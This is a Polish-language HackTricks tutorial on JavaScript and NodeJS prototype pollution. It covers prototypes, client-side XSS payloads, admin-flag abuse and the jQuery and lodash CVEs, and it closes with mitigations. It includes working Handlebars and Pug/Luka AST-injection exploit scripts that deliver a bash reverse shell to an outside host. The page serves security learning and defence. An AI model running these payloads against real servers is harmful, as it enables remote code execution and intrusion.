NodeJS - __proto__ & prototype Pollution

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Obiekty w JavaScript

Obiekty w JavaScript są w zasadzie kolekcjami par klucz-wartość, znanych jako właściwości. Obiekt można utworzyć za pomocą Object.create z null jako argumentem, aby utworzyć pusty obiekt. Ta metoda pozwala na utworzenie obiektu bez żadnych dziedziczonych właściwości.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Funkcje i Klasy w JavaScript

W JavaScript funkcje i klasy są ściśle powiązane, gdzie funkcje często pełnią rolę konstruktorów klas. Pomimo braku natywnej obsługi klas w JavaScript, konstruktory mogą emulować zachowanie klas.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototypy w JavaScript

JavaScript pozwala na modyfikację, dodawanie lub usuwanie atrybutów prototypu w czasie wykonywania. Ta elastyczność umożliwia dynamiczne rozszerzanie funkcjonalności klasy.

Funkcje takie jak toString i valueOf mogą być zmienione, aby zmienić ich zachowanie, co pokazuje adaptacyjny charakter systemu prototypów w JavaScript.

Dziedziczenie

W programowaniu opartym na prototypach, właściwości/metody są dziedziczone przez obiekty z klas. Te klasy są tworzone poprzez dodawanie właściwości/metod albo do instancji innej klasy, albo do pustego obiektu.

Warto zauważyć, że gdy właściwość jest dodawana do obiektu służącego jako prototyp dla innych obiektów (takich jak myPersonObj), dziedziczące obiekty uzyskują dostęp do tej nowej właściwości. Jednak ta właściwość nie jest automatycznie wyświetlana, chyba że jest jawnie wywołana.

Zanieczyszczenie __proto__

Badanie zanieczyszczenia prototypu w JavaScript

Obiekty JavaScript są definiowane przez pary klucz-wartość i dziedziczą po prototypie obiektu JavaScript. Oznacza to, że zmiana prototypu Object może wpłynąć na wszystkie obiekty w środowisku.

Przyjrzyjmy się innemu przykładowi, aby to zilustrować:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Dostęp do prototypu obiektu jest możliwy poprzez:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Poprzez dodanie właściwości do prototypu Object, każdy obiekt JavaScript odziedziczy te nowe właściwości:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

zanieczyszczenie prototypu

Dla scenariusza, w którym korzystanie z __proto__ jest ograniczone, modyfikacja prototypu funkcji stanowi alternatywę:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

To dotyczy tylko obiektów utworzonych za pomocą konstruktora Vehicle, nadając im właściwości beep, hasWheels, honk i isElectric.

Dwa sposoby globalnego wpływania na obiekty JavaScript poprzez zanieczyszczanie prototypu obejmują:

  1. Zanieczyszczanie Object.prototype bezpośrednio:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Zanieczyszczanie prototypu konstruktora dla powszechnie używanej struktury:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Po tych operacjach każdy obiekt JavaScript może wykonać metody goodbye i greet.

Zanieczyszczanie innych obiektów

Z klasy do Object.prototype

W scenariuszu, gdzie możesz zanieczyścić określony obiekt i musisz uzyskać dostęp do Object.prototype, możesz wyszukać go za pomocą kodu podobnego do poniższego:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Zanieczyszczanie elementów tablicy

Zauważ, że tak jak możesz zanieczyścić atrybuty obiektów w JS, jeśli masz dostęp do zanieczyszczenia tablicy, możesz również zanieczyścić wartości tablicy dostępne poprzez indeksy (zauważ, że nie możesz nadpisać wartości, dlatego musisz zanieczyścić indeksy, które są w jakiś sposób używane, ale nie zapisywane).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Zanieczyszczenie elementów Html

Podczas generowania elementu HTML za pomocą JS można nadpisać atrybut innerHTML, aby napisać dowolny kod HTML. Pomysł i przykład pochodzą z tego wpisu.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Przykłady

Podstawowy przykład

Zanieczyszczenie prototypu występuje z powodu błędu w aplikacji, który pozwala na nadpisanie właściwości w Object.prototype. Oznacza to, że ponieważ większość obiektów czerpie swoje właściwości z Object.prototype

Najprostszym przykładem jest dodanie wartości do niezdefiniowanej atrybutu obiektu, który ma zostać sprawdzony, na przykład:

if (user.admin) {

Jeśli atrybut admin jest niezdefiniowany, istnieje możliwość nadużycia PP i ustawienia go na True za pomocą:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Mechanizm polega na manipulowaniu właściwościami w taki sposób, że jeśli atakujący kontroluje określone dane wejściowe, może zmodyfikować prototyp wszystkich obiektów w aplikacji. Manipulacja ta zazwyczaj polega na ustawieniu właściwości __proto__, która w języku JavaScript jest synonimem bezpośredniej modyfikacji prototypu obiektu.

Warunki, w których atak ten może być pomyślnie wykonany, jak opisano w konkretnym studium, obejmują:

  • Wykonywanie rekurencyjnego scalania.

  • Definiowanie właściwości na podstawie ścieżki.

  • Klonowanie obiektów.

Nadpisanie funkcji

customer.__proto__.toString = ()=>{alert("polluted")}

Zanieczyszczenie prototypu do RCE

pagePrototype Pollution to RCE

Inne ładunki:

Zanieczyszczenie prototypu po stronie klienta do XSS

pageClient Side Prototype Pollution

CVE-2019–11358: Atak zanieczyszczenia prototypu poprzez jQuery $ .extend

Aby uzyskać więcej informacji, sprawdź ten artykuł W jQuery, funkcja $ .extend może prowadzić do zanieczyszczenia prototypu, jeśli funkcja kopiowania głębokiego jest używana nieprawidłowo. Ta funkcja jest często używana do klonowania obiektów lub łączenia właściwości z obiektu domyślnego. Jednakże, gdy jest źle skonfigurowana, właściwości przeznaczone dla nowego obiektu mogą zostać przypisane do prototypu. Na przykład:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Ta podatność, zidentyfikowana jako CVE-2019–11358, ilustruje, jak głęboka kopia może nieumyślnie modyfikować prototyp, prowadząc do potencjalnych zagrożeń dla bezpieczeństwa, takich jak nieautoryzowany dostęp administratora, jeśli właściwości takie jak isAdmin są sprawdzane bez odpowiedniej weryfikacji istnienia.

CVE-2018–3721, CVE-2019–10744: Atak zanieczyszczania prototypu poprzez lodash

Aby uzyskać więcej szczegółów, sprawdź ten artykuł

Lodash napotkał podobne podatności na zanieczyszczenie prototypu (CVE-2018–3721, CVE-2019–10744). Te problemy zostały rozwiązane w wersji 4.17.11.

Inny samouczek z CVE

Narzędzia do wykrywania zanieczyszczenia prototypu

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Rozszerzenie Burp Suite zaprojektowane do wykrywania i analizowania podatności na zanieczyszczenie prototypu po stronie serwera w aplikacjach internetowych. To narzędzie automatyzuje proces skanowania żądań w celu zidentyfikowania potencjalnych problemów z zanieczyszczeniem prototypu. Wykorzystuje znane gadżety - metody wykorzystywania zanieczyszczenia prototypu do wykonywania szkodliwych działań - skupiając się szczególnie na bibliotekach Node.js.

  • server-side-prototype-pollution: To rozszerzenie identyfikuje podatności na zanieczyszczenie prototypu po stronie serwera. Wykorzystuje techniki opisane w zanieczyszczeniu prototypu po stronie serwera.

Zanieczyszczenie prototypu AST w NodeJS

NodeJS szeroko wykorzystuje Drzewa Składni Abstrakcyjnej (AST) w JavaScript do funkcji takich jak silniki szablonów i TypeScript. Ta sekcja bada podatności związane z zanieczyszczeniem prototypu w silnikach szablonów, w szczególności Handlebars i Pug.

Analiza podatności Handlebars

Silnik szablonów Handlebars jest podatny na atak zanieczyszczenia prototypu. Ta podatność wynika z konkretnych funkcji w pliku javascript-compiler.js. Funkcja appendContent, na przykład, łączy pendingContent, jeśli jest obecna, podczas gdy funkcja pushSource resetuje pendingContent na undefined po dodaniu źródła.

Proces eksploatacji

Eksploatacja wykorzystuje AST (Drzewo Składni Abstrakcyjnej) wygenerowane przez Handlebars, postępując zgodnie z tymi krokami:

  1. Manipulacja przez Parser: Początkowo parser, za pośrednictwem węzła NumberLiteral, narzuca, że wartości są numeryczne. Zanieczyszczenie prototypu może ominąć to, umożliwiając wstawienie nie numerycznych ciągów znaków.

  2. Obsługa przez Kompilator: Kompilator może przetwarzać obiekt AST lub szablon łańcuchowy. Jeśli input.type równa się Program, wejście jest traktowane jako wstępnie sparsowane, co można wykorzystać.

  3. Wstrzyknięcie Kodu: Poprzez manipulację Object.prototype, można wstrzyknąć dowolny kod do funkcji szablonu, co może prowadzić do zdalnego wykonania kodu.

Przykład demonstrujący eksploatację podatności Handlebars:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Ten kod prezentuje, jak atakujący mógłby wstrzyknąć arbitralny kod do szablonu Handlebars.

Zewnętrzne odniesienie: Znaleziono problem związany z zanieczyszczeniem prototypu w bibliotece 'flat', jak szczegółowo opisano tutaj: Problem na GitHub.

Zewnętrzne odniesienie: Problem związany z zanieczyszczeniem prototypu w bibliotece 'flat'

Przykład wykorzystania zanieczyszczenia prototypu w Pythonie:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Luka Vulnerability

Luka, inny silnik szablonów, stoi w obliczu podobnego ryzyka zanieczyszczenia prototypu. Szczegółowe informacje są dostępne w dyskusji na temat Wstrzyknięcia AST w Luce.

Przykład zanieczyszczenia prototypu w Luce:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Środki zapobiegawcze

Aby zmniejszyć ryzyko zanieczyszczenia prototypu, można zastosować poniższe strategie:

  1. Niezmienność obiektu: Object.prototype można uczynić niemutowalnym, stosując Object.freeze.

  2. Walidacja wejścia: Dane wejściowe JSON powinny być rygorystycznie walidowane zgodnie z schematem aplikacji.

  3. Bezpieczne funkcje scalania: Należy unikać niebezpiecznego użycia rekurencyjnych funkcji scalania.

  4. Obiekty bez prototypu: Obiekty bez właściwości prototypu można tworzyć za pomocą Object.create(null).

  5. Użycie Map: Zamiast Object, należy używać Map do przechowywania par klucz-wartość.

  6. Aktualizacje bibliotek: Poprawki bezpieczeństwa można wdrożyć regularnie aktualizując biblioteki.

  7. Narzędzia lintera i analizy statycznej: Używaj narzędzi takich jak ESLint z odpowiednimi wtyczkami do wykrywania i zapobiegania podatnościom na zanieczyszczenie prototypu.

  8. Przeglądy kodu: Wdrożyć dokładne przeglądy kodu w celu identyfikacji i usuwania potencjalnych ryzyk związanych z zanieczyszczeniem prototypu.

  9. Szkolenia z bezpieczeństwa: Edukuj programistów na temat ryzyka zanieczyszczenia prototypu i najlepszych praktyk pisania bezpiecznego kodu.

  10. Używanie bibliotek ostrożnie: Bądź ostrożny podczas korzystania z bibliotek innych firm. Oceniaj ich postawę w zakresie bezpieczeństwa i przeglądaj ich kod, zwłaszcza te manipulujące obiektami.

  11. Ochrona w czasie wykonywania: Stosuj mechanizmy ochrony w czasie wykonywania, takie jak korzystanie z pakietów npm skoncentrowanych na bezpieczeństwie, które mogą wykrywać i zapobiegać atakom zanieczyszczenia prototypu.

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated